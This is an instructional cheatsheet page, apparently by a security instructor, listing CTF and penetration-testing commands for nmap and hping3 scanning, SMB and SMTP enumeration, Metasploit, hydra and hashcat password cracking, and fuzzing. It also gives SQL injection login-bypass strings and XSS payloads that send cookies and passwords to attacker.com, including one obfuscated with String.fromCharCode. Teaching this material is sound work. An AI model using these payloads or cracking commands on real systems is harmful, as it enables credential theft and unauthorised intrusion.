Cybersecurity Commmands Cheatsheet
Whether you are performing a penetration test, competing in a CTF challenge, practicing, or studying for a college exam, you will need to write and execute commands. If you're like most of my students, you probably forget where to start, what tool to use, and what command syntax or options to apply. I would like to help with a quick reference (cheatsheet) and scenarios all on a single webpage.
A quick scenario-based reference for common cybersecurity commands and tools.
Regardless of the task at hand, you should have your "command center" ready with all the relevant tools. In case you're not sure what tools you need, I compiled a list to get you started:
There are hundreds of tools and thousands of commands combinations; so it goes without saying that I cannot cover all tools, commands, or options. Instead, I followed a scenario-based approach organized by specific cybersecurity tasks. To make it a little more interesting, the tasks are based on common CTF categories:
Network |
Web |
Forensics |
Cryptography |
OSINT |
Stenography |
Reversing |
Mobile |
Network Security
Network Security involves protecting the network infrastructure, and related tasks often includes scanning. Scanning is the process of discovering systems on a network including open ports and running services (applications). Pen testers and hackers would try to discover active hosts on a network and produce a network map (network sweeping + network tracing). Next, for each discovered host, they would try to identify open ports (i.e. running services), including the version of each running service (version scanning).
Handy tools/commands worth including:
# netmask to generate and produce network addresses
# Convert IP address to binary
$ netmask -b 10.19.44.22
# Convert IP address to octal
$ netmask -o 10.19.44.22
# Convert IP address to hex
$ netmask -x 10.19.44.22
# Standard address/netmask pair
$ netmask -s 10.19.44.22
# IP address range
$ netmask -r 10.19.44.22/8
Scanning
Scenario #1 -Host Discovery
# Get the network IP address (if not given)
$ ip a
# Use nmap to scan the network
$ nmap 192.168.44.0/24
# Use nmap but skip port scan (faster)
$ nmap -sn 192.168.44.0/24
Scenario #2 -Host Probing
# Use nmap to perform a quick port scan (scans only 1023 known ports)
$ nmap 192.168.44.22
# Perfrom a deep scan (all 65,536 ports)
$ nmap -p0-65535 192.168.44.22
# Get the version of the running services
$ nmap -sV 192.168.44.22
# Get the OS of the host
$ nmap -O 192.168.44.22
# perform a UDP scan to discover UDP services
$ nmap -sU 192.168.44.22
# Try different scans on a specific port (HTTP → 80)
# FIN scan: closed port responds with RST
$ nmap -sF -p80 192.168.44.22
# ACK scan: to get past firewalls
$ nmap -sA -p80 192.168.44.22
# SYN scan: stealthy scan
$ nmap -sS -p80 192.168.44.22
# TCP Connect scan: completes the 3-way handshake
$ nmap -sT -p80 192.168.44.22
# Null scan: all flags are off
$ nmap -sN -p80 192.168.44.22
# Use nmap's custom script engine to enumerate more data
$ nmap -sC -p80 192.168.44.22
# Probe the target with raw IP packets
$ hping3 -0 192.168.44.22
# Probe the target with raw ICMP packets
$ hping3 -1 192.168.44.22
# Use UDP mode
$ hping3 -2 192.168.44.22
# Use scan mode
$ hping3 -8 192.168.44.22
# Use listen mode
$ hping3 -9 192.168.44.22
# Default hping3 packets are TCP with no flags; set different flags and target specific ports
# SYN scan
$ hping3 -S -p80 192.168.44.22
# ACK scan
$ hping3 -A -p80 192.168.44.22
# RST scan
$ hping3 -R -p80 192.168.44.22
# FIN scan
$ hping3 -F -p80 192.168.44.22
# Set multiple flags: FIN, PSH, URG
$ hping3 -FPU -p80 192.168.44.22
# Get the MAC address of the target
$ arp -r 192.168.44.22
# Get IPv6 address of the target using the MAC address we discovered
$ atk6-address6 00:05:29:5a:66:f4
# Send ICMP6 packets to the IPv6 address we discovered
# atk6-thcping6 <interface> <source-ipv6> <destination-ipv6>
$ atk6-thcping6 eth0 fe80::20c:29ff:fe34:884e fe80::20c:29ff:fe5a:66f4
Scenario #3 -SMB Analysis
# Get the NetBIOS table
$ nbtscan -v 192.168.44.0/24
# Enumerate SMB resources
$ smbmap -h 192.168.44.22
# More enumeration
$ enum4linux -a 192.168.44.22
# Attetmpt access with no password
$ smbclient -L //192.168.44.22
# If anonymous access is successful, start Metasploit
$ msfconsole
# Use the SAMBA Symlink attack module
msf6 > use auxiliary/admin/smb/samba_symlink_traversal
# Set the target IP
msf auxiliary(sadmin/smb/samba_symlink_traversal) > set RHOST 192.168.44.22
# Set the writeable share
msf auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
# Run the module
msf auxiliary(admin/smb/samba_symlink_traversal) > run
# Access the writeable share (tmp in this case)
$ smbclient //192.168.44.22/tmp
# Go to the etc directory
$ smb: \> cd rootfs/etc
# Access the passwd file
$ smb: \rootfs\etc\> more passwd
Scenario #4 -SMTP Analysis
# Enumerate SMPT using nmap -sC
$ nmap -sC -p25 192.168.44.22
# Send a test message to the SMTP server
# Use swaks with "samer as the recepient"
$ swaks -s 192.168.44.22 -t samer
# The made-up address will be rejected
# Enumerate users for additional testing
$ enum4linux -U 192.168.44.22
# Retry with one of the enumerated users
$ swaks -s 192.168.44.22 -t root
# Send a custom message from a customer sender
$ swaks -s 192.168.44.22 -t root -f samer -b "Hi there!"
Web Security
Security measures taken to protect organizational infrastructure at the network level are not enough to protect a web application against attacks. Web apps are attacked at the application level. The inherent problem of the Web is that [web] traffic is flowing in and out between the client and the server. Ports on both sides are open and ready to accept web traffic. Therefore, security tools, like the firewall, may not protect against web attacks since they are configured to let web traffic through.
SQL Injection
Scenario #1 -Bypassing Login
# Start with known users (e.g., admin)
admin' --
admin' #
admin'/*
# Without username
' or 1=1--
' or 1=1#
' or 1=1/*') or '1'='1--
') or ('1'='1--
XSS
XSS stands for "Cross-Site Scripting." It's a type of security vulnerability that can be exploited by attackers to inject malicious code into web pages viewed by other users.
The basic idea behind an XSS attack is that a website or application fails to properly sanitize user input, allowing an attacker to inject malicious code into a page that is then executed by unsuspecting users. This can take many forms, but one common approach is to inject JavaScript code that steals user data, such as login credentials or credit card numbers, or redirects the user to a malicious website.
Scenario #1 -Various Attacks
# Reflected XSS Attack:
http://example.com/search?q=<script>alert(document.cookie);</script>
# Stored XSS Attack:
<script>alert(document.cookie);</script>
# DOM-Based XSS Attack:
http://example.com/search#<script>alert(document.cookie);</script>
# Cookie Theft:
<script>new Image().src="http://attacker.com/cookie-stealer.php?cookie="+document.cookie;;</script>
# Clickjacking:
<div style="position:absolute; top:0; left:0; width:100%; height:100%; z-index:9999;">
<iframe src="http://example.com/login.php"></iframe>
</div>
# Keylogging:
<script>new Image().src="http://attacker.com/keylogger.php?keystrokes="+document.getElementById('password').value;</script>
# Phishing:
<script>window.location="http://attacker.com/login.php?username="+document.getElementById('username').value+"&password="+document.getElementById('password').value;</script>
# XSS via Email:
<img src="http://example.com/logo.png" onerror="alert(document.cookie);">
# XSS via Social Media:
<div onclick="alert(document.cookie);">Click here to see cute cat pictures!</div>
Scenario #2 -Encoding
Often, the web application would validate user input and employ best-practices to prevent XSS. Attackers can use various technique to obfuscate their payload (e.g., using encoding). The following are online encoders/decoders that can come in handy:
# URL/Percent Encoding the < and >:
http://example.com/search?q=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E
# HTML Entity Encoding:
<script>alert(document.cookie);</script>
# Using the encodeURIComponent() function:
<script>new Image().src="http://attacker.com/keylogger.php?keystrokes="+encodeURIComponent(document.getElementById('password ').value);</script>
# String.fromCharCode() returns the payload string
# eval() evaluates a string as PHP code; i.e., executes the code
<div onclick="eval(String.fromCharCode(97,108,101,114, 116, 40,100,111,99,117,109,101, 110,116,46,99,111,111, 107,105,101,41))">Click here to see cute cat pictures!</div>
Cryptography
Cryptography is the science and practice of securing information by transforming it into an unreadable format, known as ciphertext, using various algorithms and mathematical techniques. The primary purpose of cryptography is to protect the confidentiality, integrity, and authenticity of data, ensuring that only authorized individuals can access and understand the information.
Hashing is a process of converting input data (or 'message') into a fixed-length string of characters, which is typically a hexadecimal or binary representation. The output of this process is called a hash value or hash code. Hashing is used to securely store passwords.
Password Cracking
Scenario #1 -Online Attacks
# Assuming: username is admin
# Service is SSH
# Dictionary, or wordlist, is rockyou.txt
# Replace the IP with your target IP
sudo hydra -l "admin" -P /usr/share/wordlists/rockyou.txt 192.168.44.31 ssh
# Using a file with possible usernames
sudo hydra -L myusernames.txt -P /usr/share/wordlists/rockyou.txt 192.168.44.31 ssh
# Assuming service is FTP
sudo hydra -L myusernames.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.44.31
# Assuming service is Telnet
sudo hydra -L myusernames.txt -P /usr/share/wordlists/rockyou.txt 192.168.44.31 telnet
# Successful attack output would look like this
[23][telnet] host: 192.168.44.31 login: admin password: pass123
1 of 1 target successfully completed, 1 valid password found
Scenario #2 -Offline Attacks
# Assuming the hash is stored in a the file hashes
# Dictionary, or wordlist, is mylist.txt
# -a is attack type; 0 is straight
# -m is hash method; 0 is MD5
hashcat -a 0 -m 0 hashes /usr/share/wordlists/mylist.txt
# Save cracked passwords in a file
# -o is for output file
hashcat -a 0 -m 0 -o crackedpasswords.txt hashes /usr/share/wordlists/mylist.txt
Vulnerability Analysis
Vulnerability Assessment and Analysis, is the process of identifying all vulnerabilities associated with an information asset. There are many techniques that can help us identify vulnerabilities; let's see some.
Fuzzing
Scenario #1 -Recursive Fuzzing
# Locate the Spike Script files (.spk)
locate .spk
# Select the spike suitable for your target
# Use it against your target
generic_send_tcp <host> <port> <.spk file> SKIPVAR SKIPSTR
# Example
generic_send_tcp 192.168.44.22 25 /usr/share/spike/audits/smtp1.spk 0 0
Reverse Engineering
Reverse engineering is the process of analyzing a system, device, or software in order to understand its inner workings, functionality, and design. The goal of reverse engineering is to take apart a system or software, understand how it works, and potentially modify or improve it.
In the context of software, and more specifically security, reverse engineering typically involves analyzing the compiled code of an application or system to understand its structure, logic, and behavior. This can involve decompiling, disassembling, or debugging the code to gain insight into its workings. Ghidra, for instance, is a reverse engineering tool that was developed by the NSA and released in 2019. This has proved especially popular with malware analysts as it’s what’s known as a disassembly tool.
In a CTF challenge for instance,
Disassembling Code
Scenario #1 -Crack The Code
# Running radare2 on our binary
r2 secret_code
# Search for interesting strings using izz
[0x00401000]> izz
# The above will show ASCII and Unicode strings
# Sample Output
.data ascii Flag{FOUND}\n
#cybersecurity #tools #kalilinux #securitytools
Ads by Google